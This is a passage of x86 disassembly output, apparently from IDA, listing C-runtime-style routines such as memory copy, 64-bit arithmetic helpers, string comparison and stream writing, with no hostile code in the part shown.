		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27700F5h
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2870000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2860000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 2670ECEh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 26709FBh
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
